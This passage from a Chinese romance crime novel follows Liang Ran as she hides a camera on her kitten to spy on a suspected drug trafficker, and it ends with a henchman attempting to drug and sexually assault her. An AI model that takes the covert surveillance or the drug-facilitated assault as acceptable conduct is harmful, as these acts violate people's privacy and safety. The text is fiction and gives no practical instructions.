小猫只有三个月大,还算是小奶猫的软萌,但它也是有脾气的,宠物店的店员说它因为颜值太漂亮了,都没理会过来往的客人,之前也有男生想买来送给女朋友,但小猫冲人家龇牙齿,小爪爪完全不配合,抓烂了人家的毛衣。 它居然还能把小鱼干玩具递给梁然,真的很意外。 但这会儿让梁然也觉得意外,按理说坏人身上都具备一种小孩子或者小动物们才能感知出来的危险气息,往往应该远离他们才对。 可葡萄非但没有远离他们俩,还任谢天明挼来挼去。 “奇怪,它怎么响了?” 小奶猫在谢天明膝盖上咕噜咕噜。 梁然:“它大概是感觉很舒服吧。” 葡萄听着梁然的声音喵一声叫。 沈宗野笑了下,从袋子里拿出一根猫咪鱼肠剥给葡萄。 梁然都没看见他还给葡萄买了小零食。 葡萄叼走沈宗野给的鱼肠,小爪爪按着啃。 沈宗野低笑一声。 梁然将奶茶递到他唇边。 吸管上有她的口红印,沈宗野看了眼,掀起眼皮睨梁然。 梁然笑吟吟地看他。 沈宗野咬住吸管,动作粗粗鲁又自然。 第二天,梁然说葡萄在家里拆家,她都没法洗澡。 她把猫抱到客厅,对沈宗野说:“你这会儿要去公司?” “嗯。” “那你帮我照看半个小时行吗?我洗完澡就来接它。” 沈宗野看了下腕表,答应下来。 梁然回到房间里,反锁上门。 她打开手机上的软件,画面是沈宗野公寓的客厅。 她在葡萄的衣服上装了一个摄像头。 监控器材店的老板说这是进口的最新设备,又小又安全,普通的探测仪都发现不了,除非对方的探测仪也是与时俱进的最新款。 梁然祈祷沈宗野不会发现。 而且就算他发现了,她也有理由避开,她会说这是给葡萄特意装的防丢器。 葡萄喜欢沈宗野那里的沙发,这会儿窝在沙发上晒起太阳。 画面里是一片雪白的曝光,葡萄把摄像头都压在身下了,视频里只依稀看到猫咪干净的白色毛毛。 沈宗野在叫它:“葡萄,过来。” 葡萄没动。 梁然很着急。 “你吃什么猫粮?”沈宗野把手机递给葡萄选。 梁然在小猫翻身抬起脑袋时,终于看到了沈宗野的手机画面。 他打开了线上购物软件,列表上都是猫粮。 葡萄怎么会选,沈宗野勾起薄唇笑了下,自己选起猫粮。 他真的喜欢猫。 梁然心跳很快,就像是她自己偷偷躲在屋子里监视一样。 但沈宗野没再跟葡萄互动了,他点着手机,不知道在操作什么,薄唇抿着冷淡的线条。 这个角度,沈宗野下颔骨线条流畅,面部挺立,葡萄离他太近,时不时点点小脑袋,于是梁然手机满屏都是沈宗野喷鼓的胸肌,隔着衬衫面料也有起伏喷张的轮廓。 换角度啊! 梁然几乎有些抓狂。 她没办法一直用这种方式,如果沈宗野发现了会更惨。 梁然朝身上喷了沐浴露同款的香水,头发也用水打湿了一些,走去敲沈宗野的房门。 她笑:“我洗好了,葡萄没吵你吧?” 沈宗野说:“没有,我去公司了。” 梁然点点头,抱起葡萄的时候将摄像头不动声色取下。 第57章 第57章“这么解释你满意吗?”…… 虽然这次没试探出来,但梁然觉得这已经算是一个办法了。 傍晚时,梁然和沈宗野去了「云上人间」。 沈宗野让她在包房里等他,他则单独去见了董自新。 梁然虽然也想知道关于这里的老板董自新这个人,但沈宗野没带她,她也不好主动要求,留在了餐厅的包房里。 包房里还有云肖和大鱼他们。 梁然问云肖:“这趟在泰国你们忙吗?我看沈宗野手上皮肤都粗糙了。” “忙得很,董叔有个林场,咱们整天都在拉木头。”云肖喝着酒和李浩划拳,随口说。 梁然知道云肖很精明,不会让她套出话。 吃过晚饭,沈宗野还没有回来,梁然起身去了卫生间。 她检查了左右两个卫生间都没有人,才打开手机里的监控软件,戴上了耳机。 她出来时把葡萄留给了谢天明照看,谢天明说有事要去办,没和他们过来吃饭。 梁然点开回放。 视频画面是在车厢里,谢天明开着车,把葡萄放在后排,他一路心情很不错,哼着歌,不时喊几声葡萄,听葡萄喵呜叫时会发出笑声。但他下车时没带葡萄,不知道是去做什么,过了十几分钟便回到了车上,开车回了公寓。 梁然切换到实时画面。 葡萄正趴在谢天明膝盖上踩着他大腿玩,画面抖来抖去,看不清楚,直到葡萄跳到沙发上,绕着谢天明脑袋踩过去。 梁然忽然瞥到一眼谢天明的手机画面,她连忙倒退视频,按下暂停。 是一个群聊。 群名[北北宵夜零食团] 北:「西瓜叶子,不送货」 小完犊子:「埋地。雷,我私你?」 北:「你道友要不要?」 谢天明发出去一条消息:「轻松一号有不?」 梁然连忙截图,几乎要为这个消息高兴得跳起来。 她想继续看下去,但是葡萄已经去阳台上的猫窝里抓小鱼干玩具了,梁然又等了几分钟,实在等不到葡萄再回去帮她找证据。 能有这张截图已经很好了。 看起来这应该是线上贩。毒的群,那些西瓜、叶子、地。雷应该都是他们的暗语。 梁然上传到云端,暂时把这张截图在相册里先删掉。 她回到了包房,大鱼正和云肖商量过段时间要做什么菜,沈宗野爱吃什么。 梁然:“怎么了,那天要做什么好吃的?” “嫂子,咱们在商量宗哥生日那天做哪些菜呢。” 梁然不知道沈宗野生日在几号,这会儿才从他们口中知道。 但她笑了笑,只是说:“时间真快。” 沈宗野在一个小时后回到了包房,他已经在董自新那里吃过饭,大家等到他便一起撤了。 梁然回到公寓便去抱葡萄。 小猫很喜欢她,虽然她才刚刚当它的主人,但葡萄很黏她,抓着她裤腿竖尾巴。梁然将葡萄抱到怀里,不动声色摘下了它衣服上的摄像头。 她的手机忽然响起铃声,是陈沥周打来的。 已经晚上九点了,陈沥周很少会这么晚给她来电话。 沈宗野正脱下大衣,站在她身后叫葡萄的名字。 梁然按了拒接,收起手机。 只是片刻铃声又响起,陈沥周再次给她打来电话。 沈宗野逗着猫:“怎么不接电话?” “可能是工作电话吧,谁大半夜还想上班。” “对方好像有急事。”沈宗野摸着葡萄毛绒绒的脑袋,头也不抬说。 梁然知道沈宗野心机很深。 她说:“那我先接一下。” 她接起电话,让沈宗野照看一下葡萄。 沈宗野薄唇边依旧带着慵懒的笑意,他逗着猫问谢天明:“今天去哪了?” 谢天明回答完,沈宗野问:“一下午都带着猫?” “是啊。” 沈宗野把葡萄抱到膝盖上,眼眸里沉静的思考闪过,检查起葡萄身上复杂的裙子和脑袋上的发卡。 他翻来覆去,葡萄居然很配合他,懒洋洋地眯起眼睛,任他翻来翻去。 谢天明:“没必要吧,你是担心猫猫身上有东西?我看它的主人还没这么聪明。” 沈宗野检查完,确实没发现什么异常,小猫发卡上的金属圆牌只是一个小装饰,倒是他多疑了。 梁然没一会儿就推门回来,她身上披着一件宽大的黑色羽绒服。 “客户有个公式算错了,我得去看一下,建筑上的设计不能马虎。”梁然说,“你帮我照看一下葡萄吧,我很快就回来。” 沈宗野起身:“这么晚?那我送你过去。” “不用,我自己去,很快就回来。” 梁然冲沈宗野笑了笑,将手上的平板放进包里,单肩挎着大大的托特包关上了房门。 谢天明和沈宗野对视一眼,起身说:“我去跟她。” 沈宗野:“我去吧。” 他将葡萄从膝盖上抱走,拿了外套出门。 电梯正停在停车场。 沈宗野快步走了步梯,梁然的车已经不在位置上,他也很快坐进车里。 谢天明的电话打进来:“向右开走了,新科路方向。” 沈宗野驱车驶向夜色下的街道。 谢天明和他之间很默契,总是能完美地配合,谢天明在他后脚出门便去了楼上用望远镜看查看梁然的踪迹。 沈宗野开出一段路,跟上了梁然的车,她驶进了一家餐厅。 餐厅是侘寂风的装修,在外面都没有招牌,冬季的室外已经看不到绿植,但餐厅的玻璃橱窗里生长着翠绿的修竹,门口有穿和服的服务生跪地服务梁然,放好她的外套。 直到梁然的身影在门口消失,沈宗野才下车进去,但服务生说没有预约他们没办法接待他入店消费。 …… 灯光昏黄的餐厅里,梁然被服务生领进一间贵宾包房。 这是穿过过道通向的一间庭院,拥有独立的安静,没有人来人往的打扰。 包房在庭院的中心,房门后,穿着灰色衬衫的陈沥周坐在榻榻米上,看到她,他的脸色少见的严肃,推了推眼镜。 梁然将拖鞋放到台阶上,坐到座位中,她的动作很优雅,拿出平板电脑的状态非常干练。 “哪里有问题?我怎么没核对到,我路上联系了我助理,她那边也没算出问题来,你是不是看错了。”梁然打开设计图,将平板递到陈沥周那头,“你指的是哪里?” 刚才陈沥周在电话里告诉梁然,他发现了设计图上有漏洞和算错的地方,要马上见到梁然。 电话实在有些突兀,毕竟已经这么晚了。 梁然刚才在电话里就回答了不可能,她检查过没有这种错误,但陈沥周语气很急,梁然这才开车过来。 陈沥周却按灭了平板电脑,说:“没有问题,你的图纸都很专业,只是我现在想见到你。” 梁然怔住,她一路上对设计图的紧张逐渐变成一种气愤,生气陈沥周为什么用这个借口骗她,把她急匆匆地叫出门很好玩吗? 她的表情逐渐冷清。 陈沥周说:“梁然,我想知道你和你男朋友是怎么认识的?” 梁然沉默了漫长的十几秒。 她是在压抑自己的愤怒和不理解。 他把她叫过来,就是为了打听她和男朋友是怎么认识的? 是他脑子有病还是她很好糊弄? 但这段气愤过后梁然便恢复了理智。 她冷静得很快,陈沥周是一个智商很高的商人,他不会平白无故这样急匆匆把她叫来,除非是他发现了什么。 梁然问:“你是大半夜失眠吗,你到底想做什么?我们已经是朋友,我明明这么着急地撇下我男朋友,撇下我的猫咪过来见你,但你却说工作没问题,是想把我约出来?” 陈沥周很冷静。他本来就是一个温和的,很少发脾气的性格,所以气质总是温和又儒雅,但是现在他周身都散着冷漠。 没有别的原因,是他发现了沈宗野可能在贩。毒。 陈沥周叫的那两个中年男人跟踪到梁然去了「云上人间」,他得到消息就跟过去了,但是他看到沈宗野和一个泰国男人坐在一起交谈,那个男人他认识。 他曾调查过很久,那个男人是一个毒贩的手下。 而他为什么会知道这些,因为他妈妈可能就是死于那个泰国人上面的大佬。 陈沥周不知道如何解释,他很痛苦。 去回忆他妈妈的死会让他陷入在痛苦和自责里。 可他不愿梁然被卷进去,她多像他妈妈啊。 不是长相,是气质。 说来也奇怪,他第一次见到梁然并不觉得她气质跟他妈妈像,只是觉得这个女性很出众,他也是在后面一次次的接触里觉得她的气质像他妈妈。 是她们身上独立的思考,美丽的气场,和不沉沦的高傲。 陈沥周说:“你知不知道你男朋友可能在贩毒?” 梁然明显愣住了。 她紧紧盯着他:“你说什么?” “你们今天去了一家会所,「云上人间」对不对?我也在那里,我在调查一个泰国人,他是一个毒贩的马仔,今天晚上你男朋友跟他坐在一起抽烟,他们言谈举止很熟悉。”陈沥周说,“我可以非常肯定地告诉你,你男朋友绝对有问题。” 梁然还是发愣的,她看着陈沥周严肃又认真的眼睛,问:“你为什么会认识一个贩毒的人?” “因为我妈妈可能是被那个人上面的主人害死的。”陈沥周的表情很痛苦,他说,“这些年我一直在找真相,我找了很多年都没找到,但是我花高价买过很多消息,我可以肯定我妈妈就是被那群毒贩害死的,我也可以肯定地告诉你,你男朋友绝对有问题。” “他身上的气场,他左手那根断指,还有他和那个泰国人相处起来的状态,他们绝对有利益上的往来。” 梁然在震撼里没有回过神。 她不敢开口。 即便再震撼她也依旧强忍着冷静,她只是震撼于陈沥周和她有相似的经历,相同的痛苦,只是震撼沈宗野的秘密竟然无意被陈沥周发现了。 该怎么办? 她不能让陈沥周打乱她寻找证据的节奏,她现在好不容易等到沈宗野和那些毒贩再次冒头,也好不容易利用葡萄找到监视的新办法,她现在还不能放弃。 “你说的我不信。” 陈沥周错愕地看着她。 “我男朋友是做网店的生意,他的事业是很不起眼,但他绝对不会干贩毒的事情,这是违法的!”梁然说,“陈沥周,我对你妈妈的经历表示同情,但你不能误会了我男朋友。” 梁然拎起包起身推开包房的门,手腕却被陈沥周一把拽住。 他掀起她的衣袖,已经泛起淤紫的伤痕暴露在灯光下。 “这难道不是证据吗?你男朋友可以这么虐待你,难道不代表他不是一个正常人?梁然……” “你够了!”梁然抽回手,她比陈沥周冷静,她既愤怒、又无奈地说,“这是我们个人的性。癖,这么解释你满意吗?” 陈沥周不可置信地看着她,他的眼神好像更痛苦起来。 第58章 第58章“宗哥都说不要你了。”…… 梁然不忍心去伤害一个无辜的人,可是她绝不允许她的计划被打乱。 她说:“你有证据吗?你拍下他和你口中的毒贩在一起的照片了吗,我看看。” “……我没有照片。” “那就是了,口空无凭,而且就算是有照片,你又怎么让我相信那个人是毒贩。就算那个人是,我男朋友也不会是。他什么都不了解,也许只是想把他网店的产品卖到国外,和别人谈点生意。” 梁然的执拗让陈沥周几乎有些愤怒,他的眼眸越来越深。 梁然仍继续说:“我很同情你的遭遇,不知道怎么安慰你。今晚的事我就当没发生过,我先走了。” 落地推拉门被陈沥周拉上,“砰”一声响。 他撑在门上,颀长的身躯将梁然的路挡住,紧紧盯着梁然。 他好像真的生气了。 斯文儒雅的人发起怒竟让梁然有一点惧怕。 她张了张唇,陈沥周已经开口:“我上小学一年级的时候,那天我非要吃牛肉饼,我妈妈做的饼很好吃,馅那么香,我就吵着不去上学非要吃。她把我送去学校,笑着跟我说等我放学就能吃到了,我就盼着放学,但我回到家……” 他的表情很痛苦,褐色的瞳孔收缩起来,眉骨都有痛苦的扭曲,他说:“我妈妈死了,我连她最后一面都没见到,她是去买面粉的途中被毒贩杀死的,她是为了我去买面粉才被害死了……你知道吗,我查了那些人这么多年,我可以确定他们真的就是在贩。毒。” “你的眼眶红了,你能理解我的痛苦对不对?”陈沥周俯下身来,深深看梁然。 梁然的眼眶湿润了,但她眨了眨眼将眼眶里的热流逼回。 她只是想起了沈茹,她懂陈沥周的痛苦,懂他的自责,因为她也没有见到沈茹最后一面,她也自责那天接到沈茹的电话为什么不知道那是最后一次和妈妈说话。 梁然说:“我只是可怜你妈妈的遭遇,毒贩确实该死,但你不要把我男朋友和那些人混为一谈,我要走了,请你让开吧。” 陈沥周修长的手臂依旧撑住门,并不松开。 “你回去会有危险的,呆在这种人身边你时时刻刻都是危险的!” “你这么关心我做什么?”梁然好笑,“难道你喜欢我吗?” 陈沥周微顿,他抿了抿唇,目光依旧牢牢注视梁然:“我确实很关心你,知道这个消息后我就想马上告诉你,让你马上抽身,你不能跟毒贩待在一起,他们也会把你变坏!” “我不会。”梁然不想再跟陈沥周拉扯,她去推门。 推拉门一丝不动,被陈沥周严严按着。 梁然抬起头,眼睛很愤怒。 到这一步陈沥周已经比刚才冷静,他冷冷地看她:“你必须离开他身边。” “你脑子有毛病吗?你只是我的甲方,你再这样我们当不了朋友,再挡我路我要报警了。” 包房里这么静,整座独立庭院也都无比安静,充满暖气的房间温暖如初夏,连一丝风都透不进来。 陈沥周看着梁然,他毫不避讳她眼里的怒意,直视她干净的瞳孔:“我脑子没病,我也很冷静。梁然,我的确喜欢你,在和你接触的过程中喜欢上你的,但我不要求我的喜欢有回应,我只是不想让他们害了你。” “我会找到证据证明你男朋友和那群人脱不了干系,现在你知道这一切了,我希望你回去后好好想清楚他的行为,你是他亲密的人,应该可以想明白他一些异常。” 陈沥周松开手臂。 梁然推开门离开。 “梁然,你需要帮助随时告诉我,我会保护你。” 梁然微顿,依旧头也不回地走出庭院。 …… 餐厅对面有一条街道,沈宗野坐在二楼一家西餐厅,直到梁然出来。 夜色下她身影单薄,拎着包上了车,发动引擎驶入了车道中。 沈宗野又坐了一会儿,才远远看到走出那家餐厅的青年。 他之前见过一次,还有印象,因为青年气质出众,看起来并不像梁然口中所说的客户的助理那么简单,只是当时沈宗野没多过问。 此刻,青年一身深灰色大衣,戴着眼镜的模样明明也像从前那样斯文儒雅,但气场却有些冷漠。 青年也开车离开了餐厅,沈宗野看清是一辆价过百万的豪车。 沈宗野不得不对梁然产生更深的怀疑。 她的工作到底是接近他特意去伪造的,还是她真实的工作? 沈宗野也开车回了公寓。 梁然早到了十几分钟,在和谢天明有一搭没一搭的聊天,葡萄趴在她膝盖上咬她睡裙的衣袖,撕咬一下喵呜叫一声,抬起小脑袋瞅梁然,见梁然不理它,又撕咬一下发出喵喵的叫声,然后再抬起小脑袋冲梁然咕噜咕噜。 三个月大的小猫实在可爱,就差冲梁然龇牙喊“你看看我呀”。 梁然和谢天明笑着聊天,随手摸了摸葡萄的脑袋。 小猫觉得这种宠溺不够,又使劲地喵喵咬她衣袖。 沈宗野就是在这时开门回来。 “喵呜——” 葡萄从梁然膝盖上跳下去,一跃绕到沈宗野身边扒扯他裤腿。 沈宗野又带了两杯热饮回来,这次有些晚了,没有给葡萄买到小零食,他将热饮递给梁然。 梁然问:“天明说你有急事出去了?” “嗯。外面起风了,顺路给你带了杯热的。” “好感动。是董叔那边的急事吗,你办妥了?” “办好了。”沈宗野说,“你工作处理得怎么样?” “我出马没事了。”梁然的笑容有些停顿,笑着叫葡萄过去。 沈宗野挑眉:“你是遇到困难了?怎么像有话没说话。” “没有啊,我都解决完了。”梁然去抱葡萄,“今晚真是太折腾了,我回去睡啦,谢谢你的奶茶。”她拿过奶茶,在沈宗野脸颊亲了一下。 梁然关上门走出公寓。 沈宗野对谢天明说:“没跟到。”他想了想,“这几天你再去跟一跟她。” “她有什么问题?” 沈宗野说不上来,他目光冷静:“我总觉得梁然和她的工作太密切了,不是很正常。” 按理说一个充满伪装的人不应该这么热爱工作才对。 不过她的客户太有钱,也说不准她是为了钱才去接近那些人。 沈宗野原本对梁然没有什么欣赏之处。 但是现在看来,她炉火纯青的伪装和她身上那股神秘都算是她的优点。 …… 梁然对这一切毫无察觉,有了陈沥周这桩事,她根本就没心思再做别的,这两天都在家里陪猫。 葡萄很喜欢坐她的滑滑梯。 最开始只是小爪爪试探性地扒拉着水晶滑梯,惯性让它往下滑,它似乎有些被吓到,四只脚疯狂乱抓,喵喵乱叫着想回头找主人,结果滑出人仰马翻的姿势,哦不对,是猫猫吓怂的姿势,小脑袋和毛绒绒的身体缩成一团,很懵逼地愣着不动弹,蓝色的大眼睛傻乎乎瞅着始作俑者滑滑梯。 梁然笑出声,抱它在怀里滑了一圈,然后又跑上步梯将葡萄无情地推出去。 嗖—— 葡萄咕噜咕噜叫着,滑得非常丝滑,后面已经会自己爬上梯子去玩滑滑梯了。 有猫真好啊,她早就应该养猫的。 等这里的一切结束她就带着葡萄回南城,梁悦也会喜欢这只可爱的小猫。 梁然坐在沙发上,让葡萄自己玩。 她拨通沈宗野的电话,沈宗野说这会儿在「云上人间」忙。 梁然问:“你几点回来啊?” “不知道,等会儿公司还有点事处理。” “那我去公司等你,你几点到呀?” “不知道,一两点吧。” 梁然看了眼时间,也才中午。 这两天没出门,陈沥周也没有再找过她。 梁然希望陈沥周别再插手,卷进这趟浑水对他没好处。 梁然收拾好,带上葡萄一起开车去了沈宗野的公司。 大厅里的员工依旧坐在电脑前忙碌,见到她都像谢天明他们那样喊她一声嫂子。 梁然照旧将买来的咖啡和小甜点带给他们,拎着大鱼他们那几份去了厨房。 厨房里只有大鱼在,梁然把东西给他。 大鱼笑:“嫂子,有你在真好,只有你每次都这么关心我们。” 梁然好笑:“那你可得回报我,当我的心腹。” 大鱼嘿嘿笑。 梁然朝身后大厅挑挑眉:“那几个小姑娘比我年轻多了。” “嫂子,你这就不用担心了,她们都不敢靠近宗哥,见着哥都害怕。” 梁然一笑,看向通道那头:“云肖他们在吧,我把这些给他们。” 她拎起剩余的咖啡和甜点穿过过道。 大鱼的红烧排骨烧干了,连忙去招呼锅里,随口说云肖他们都跟沈宗野出去了。 梁然已经穿过了过道,这里的路通向仓库和云肖他们的宿舍。 她站到仓库门口,忙碌的几个工人里没有云肖他们,梁然正打算把东西放下时,转身看到了过道尽头的宿舍投来的影子。 尽头的一间门开着,光影投下里头的人影,屋里的人应该很兴奋,影子像在跳舞,里面的摇滚乐也一起传出来。 梁然从没进过这里的宿舍,之前沈宗野说谢天明也来这里住过几天,她知道平时都是云肖他们在这里住着。 屋子里的人应该在劲头上,跳着跳着晃到了门口,他偏头看到了梁然,是李浩。 隔着过道,李浩微愣了下,远远喊梁然嫂子。 梁然淡淡抿笑。 李浩看着她手里的两个袋子:“嫂子给我们买的下午茶啊,嫂子过来吧,参观一下我们的宿舍。” 梁然没过去,笑着说:“我把东西放这里,等下你们自己分。” “那给我。”李浩走过来,从梁然手上拎过一个牛皮纸袋,他说,“嫂子帮我把另一个也拿过来呗,我们宿舍挺干净,宗哥要我们严格讲卫生。”他一边说一边往宿舍走去。 梁然便把剩下的几杯咖啡拎过去,到了门口,她没进去,将牛皮纸袋递给李浩。 李浩放下手上那个纸袋,回头来接。 他却在下一秒拽住梁然的手,将她直接扯进门里。 梁然措手不及,咖啡直接掉在地板上,溅了一地。 她整个人都被李浩堵住,偏瘦的青年一双阴恻恻的眼睛充满颓气,盯着她咧嘴笑起来。 梁然连忙转身想逃开,可房门早就拉不开了。 她整个人被李浩从后面顶住,恐惧从心脏窜起来,她狠狠拍门,但手被李浩往后反剪。 “嫂子,你身上喷的什么香水,好香啊。”李浩凑在她后颈。 梁然突然才意识到,这一幕好像早就有预兆,在一个多月前,她来公司的时候李浩也曾这样阴恻恻地盯着她。 “你放手!你找死吗,我是你哥的女朋友!” “宗哥都说不要你了,你自己心里没点数吗?你伺候别人也是伺候。嫂子,我早就心痒你好久了,跟你睡觉一定很舒服,长成这样……你他妈真带劲啊!” 梁然根本没法挣扎,她包里是有随身携带的防身用品,可是包和葡萄刚才都在厨房里交给大鱼了。 李浩拽起她,将她狠狠扔到宿舍的铁板床上。 有东西从床头掉下,是一颗颗彩虹色小糖丸,梁然在向邬道那里见过,是轻松一号。 李浩咧嘴笑起来,把丸子捡起来丢进床头水杯里。 “嫂子,我带你尝尝味道!” 第59章 第59章“老子玩过的女人能让你…… 午后的阳光强烈,沈宗野回到公司,黑色汽车刚在院子里停住,葡萄就从门里一溜烟窜出来,跑到沈宗野脚边嗷呜嗷呜叫。 谢天明从副驾驶下来,好笑地说:“葡萄,这么着急欢迎我们啊。”他弯腰去抱葡萄。 但葡萄不让他抱,小白猫的粉色裙子都被水泥地染了灰尘,冲着沈宗野龇牙咧嘴,嗷呜咬他裤腿。 沈宗野眉一皱,有些意识到猫咪的情绪似乎反常。 他快步走进公司。 云肖他们跟在他身后,也都见到大厅里每个人的办公桌上放着咖啡和甜点,知道是梁然来过了。 沈宗野视线扫视一圈,径直穿过大厅去了厨房。 葡萄在沈宗野前面狂跑,小猫快得像一只洁白的小狐狸。 谢天明说:“梁然来了应该在楼上……” 但他也后知后觉意识到,葡萄这么狂躁的样子不太正常,它一直是一纸很乖的小懒猫。 “梁然在哪儿?”沈宗野经过厨房的门,沉声问大鱼。 大鱼回过头,忙放下锅铲:“哥,嫂子刚刚来了。”大鱼环视一圈,才想起来,“嫂子把咖啡送去仓库了,我说大家都不在。” 沈宗野大步走去仓库,但葡萄没有在仓库停留,而是直接冲在长长的过道前头,拐个弯朝向宿舍,小短腿不停奔跑。 葡萄使劲抓最后一间宿舍的门。 而沈宗野不用再去猜到底发生了什么,拐进过道时他就已经听到梁然的声音。 “救命!别碰我——” 沈宗野整个人沉下脸,漆黑的眼眸像暴风雨的阴暗,他狠狠踹门,气场冷到极致。 铁门是之前加固的,这么踹根本踹不开,沈宗野狠踹了几次,直接从衣服里掏出手。枪。 “哥!”云肖急忙按住沈宗野的枪,现在还不是动枪的时候,云肖喊老九去拿工具,也狂拍铁门大喊,“浩子,你在做什么?把门打开!” “沈宗野——”梁然的呼声变成呜咽,紧接着传出李浩的闷哼。 沈宗野眼眸越来越沉,薄唇紧绷,脸色冷得吓人。 他沉声呵斥:“李浩,把门打开!” 屋子里一时没了声响。 沈宗野不再顾忌,拇指残疾的左手利落地上膛,对准门锁位置,倾斜的角度射击。 子弹打出声响,撞击铁门时擦出火星。 谢天明和云肖也十分默契地在他射击时以踹门声混住枪声。 沈宗野踹开门。 梁然缩在铁床的床头,她头发凌乱,外套全在地上,宽松的白色毛衣挂在手臂上,起伏的胸口全是鲜红抓痕。 她的眼眶是红的,眼睛里全是恐惧,看到他,眼泪瞬间往外涌,嘴唇颤抖着喊他的名字。 沈宗野大步进去,长腿迈过满地狼藉,直接将他的大衣外套盖在梁然身上。 他回头,眼眸冷戾,薄唇紧绷着,几步上前狠狠踹在李浩的胸口。 李浩穿着四角短裤,上身T恤也松松垮垮,这一脚直接将他踹向柜子,他整个人撞在衣柜上,痛苦地捂住胸口。 一地凌乱,衣服、咖啡、打翻的水杯和彩虹色小药丸四处散着。 沈宗野盯着这些小药丸。 “哥,你听我说,她勾引我!她带了轻松一号让我试……”李浩捂着胸口爬到沈宗野脚边。 梁然刚要开口,沈宗野又是一脚狠狠踹在李浩头上,这一脚直接将他踹到桌子底下,他痛得完全直不起腰。 葡萄冲李浩龇牙咧嘴,发出嗷呜的咆哮,跳上铁床冲梁然喵喵叫。 梁然还在哭。 她的眼泪竟然在看到沈宗野时才掉下来。 刚才她以为她真的要栽在这里,她根本没期待过会有谁来制止这场噩梦,但是沈宗野真的来了。 李浩往杯子里丢了好几粒药,他先喝了好几口才捏住梁然脸颊要灌她喝剩下的。 梁然手被他按着,但脚可以动,她刚才踹到了李浩腹部,那杯药顷刻滚到了地上,她又借屋里的桌子和李浩躲了好几圈,终于还是被他抓到。 她的毛衣被扯烂了,胸前是李浩指甲的抓痕……她不想去回忆。 沈宗野弯腰来抱她。 冷。 梁然被他凌空抱起,后背好冷。 她控制不住地发抖,死死抓住盖在她身上的黑色大衣。 要去二楼要么穿过办公厅,要么从尽头这里的铁门出去,楼外挨着墙还有一个铁梯能上二楼。 谢天明已经快速打开尽头这扇铁门,冲上楼梯将二楼的门也打开。 宁城的冬季实在太冷了,这场寒冬里的雪久久不化,堆在四四方方的墙角,好像雪白的围栏。 梁然被风吹得发抖,下意识缩进热源处,而她才发现这道热源是沈宗野。 她不再忌讳他是谁。 她把全部的痛苦埋在他胸膛里,听着他的心跳,放肆地哭了出来。 这哭有五分是真的,剩下的都是演的。 因为梁然从来都是一个不会哭的人。 她很少用掉眼泪这种方式去解决问题,她也更不会发出哭声。 乔思嘉说有时候觉得她的情绪冷漠到极点,可是如果了解她,才会知道她只是不会哭而已。 因为从15岁那年沈茹走后,梁然就从没觉得她还有哭的资格。 沈宗野将她放到他办公室的那间休息室里。 这里也是一张单人床,被子很干净,有淡淡的皂香。 “你为什么才回来?”梁然的声音还有颤抖。 “李浩对你做了什么?” “我把咖啡拿到门口,他把我拽了进去,他在杯子里丢了轻松一号,要灌我……”梁然痛苦地说完,没有忘记用眼泪把这份痛苦放大,她圈紧沈宗野脖子,“我恨他。” 沈宗野拍了拍她后背,但才发现梁然后背是裸。露的,沈宗野把她毛衣往上拉。 软薄的羊绒毛衣早就被扯坏了,盖不住她胸口的伤痕。 沈宗野眸光暗沉。 梁然还在发抖,刚才他破门进去时,她那种恐怖的情绪不像是假的。 沈宗野问:“你吃了吗?” “没有,他在吃。”梁然的声音带着哭过的鼻音,“他喝了,还说我不喜欢喝可以用吸的,他去找罐子,我想逃没逃出来,但我还没有到那一步。” “沈宗野,幸好你来了,我还是干净的。” 梁然紧张地抬头看他,沾湿眼泪睫毛在颤动。 “我来晚了,我不允许我的人吃那些药,他碰了你,我也不允许。”沈宗野说,“在这儿待一会儿,我处理完就回来。” 沈宗野刚起身,他修长的身形微顿,回身拍了拍梁然肩膀,手自然地伸进大衣内侧口袋里,拿出了枪。 他的动作很快,梁然只是看到一点金属影子,但还是一眼认出那是枪。 他还不是毒贩是什么。 他连这么危险的东西都有! 梁然拉过被子紧紧将自己裹住,她忽然觉得好崩溃。 她快有些撑不住了。 葡萄还是一只很小的幼猫,它爬这种楼梯又笨又急,差点悬空掉下去,幸好谢天明将它直接抱上了楼。 沈宗野出门时撞见,将葡萄抱回房间。 梁然整个人埋在被子里,凌乱的头发遮住她整张脸,她的哭声很压抑,不再像刚才靠在他怀里那种大哭。 她被他进门的脚步声惊到,整个人往被子里缩,直到看清是他来了。 沈宗野:“先让葡萄陪你一会儿。” 小猫狂奔到床上,扑进梁然怀里,喵喵叫着用粉红的小舌头舔梁然的脸颊。 沈宗野去了楼下。 李浩还跪在宿舍里,沈宗野高大的身躯迈进门里,早看不惯李浩的两个手下忙搬好椅子让沈宗野坐下。 屋里屋外都守着人。 李浩向沈宗野磕头,又像上一次一样哭着说他错了。 沈宗野问:“什么时候吸的毒?” 李浩愣住。 “宗、宗哥,是嫂子给我的,我没吸……” 沈宗野黑漆漆的眼睛盯着他。 李浩有些发抖,眼神瞟向云肖。 云肖咬咬牙,也跪到了沈宗野脚边。 “哥,是我没看好我弟。” 我弟。 说这话就是想护着李浩了。 沈宗野冷冷盯着云肖。 云肖说李浩来宁城后不小心碰了轻松一号,起初他也没有上瘾,还能控制两个星期玩一次,但后面实在控制不住了,才背着他们偷偷吸。李浩连云肖也瞒着,云肖也是发现他吸狠了才察觉出来。李浩是跟着云肖出生入死过的兄弟,两个人曾经一起背过命案,什么都一起干过,云肖不忍心告诉沈宗野,才帮李浩悄悄隐瞒。 沈宗野敢这么肯定不是梁然引诱李浩吸。毒当然有他的原因。 他记得他第一次知道轻松一号就是云肖拿过来的,他当时说不想卖这个,云肖还想再拿回去,现在回想,云肖实际是要帮李浩拿回去吸食。 沈宗野冷冷问:“多久了?” “四、四个月。”李浩不敢说话,云肖开口说。 “在哪买的?” 云肖押着李浩后脖子让他自己交代。 李浩吞吞吐吐交代起来。 屋子里静得可怕,沈宗野耐心听着,长腿大开,手上的沉香一下一下拨得极慢又稳,直到听完李浩结结巴巴的交代,沈宗野才又开口。 “为什么想睡我的女人?” 李浩哭起来,说他没有,是梁然勾引他。 沈宗野不再说话,他的唇紧绷着,光影遮掩的轮廓一半陷入阴影下,眼眸如同深渊。 李浩所有的恐惧都堵在沈宗野冷戾的眼神下,他疯狂磕头。 “我错了宗哥,我没碰到嫂子,我错了……” 云肖示意屋里其他人出去。 房间只剩下谢天明在门口,云肖才说:“是我的错,是我刚回国那天跟浩子喝酒说漏嘴了。” 那天回国见到李浩,云肖自然高兴,两个人喝酒的时候云肖说漏嘴,说梁然再有一个星期就快滚蛋了,她其实是乌鱼的眼线。 沈宗野盯着李浩,冷冷笑开:“所以你吸上头了,就敢碰老子的人?” “老子玩过的女人能让你碰么?” 李浩疯狂说他再也不敢了。 